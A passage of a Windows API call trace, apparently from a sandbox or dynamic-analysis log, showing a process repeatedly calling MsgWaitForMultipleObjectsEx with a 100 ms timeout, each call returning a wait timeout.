dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.830] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.954] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.079] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.204] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.328] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.453] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.578] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.703] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.828] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.952] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.202] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.327] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.452] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.576] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.701] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.826] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.951] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.076] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.200] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.325] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.450] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.575] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.700] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.825] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.949] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.074] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.199] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.324] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.448] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.698] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.823] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.948] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.073] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.197] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.322] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.447] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.572] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.696] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.821] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.946] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.196] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.321] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.699] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.820] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.950] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.070] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.194] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.323] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.819] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.947] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.068] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.197] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.318] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.443] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.573] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.692] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.827] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.942] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.067] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.197] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.316] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.691] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.834] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.957] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.112] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.242] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.368] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.486] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.610] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.735] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.860] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.985] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.127] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.250] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.375] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.500] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.624] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.749] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.124] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.249] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.498] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.623] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.748] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.872] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.997] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.122] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.247] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.372] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.497] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.621] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.746] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.871] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.996] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.121] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.245] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.370] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.495] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.620] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.744] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.869] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.996] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.119] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.244] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.368] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.618] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.868] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.992] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.242] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.367] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.617] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.866] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.991] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.116] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.241] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.366] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.501] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.616] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.740] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.871] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.990] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.120] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.246] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.364] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.495] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.614] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.745] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.864] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.988] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.121] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.238] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.372] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.489] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.612] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.742] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.993] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.112] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.237] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.367] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.486] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.616] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.736] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.861] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.004] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.125] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.259] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.376] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.507] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.625] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.755] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.132] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.249] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.378] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.498] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.623] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.754] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.878] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.998] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.122] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.251] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.372] 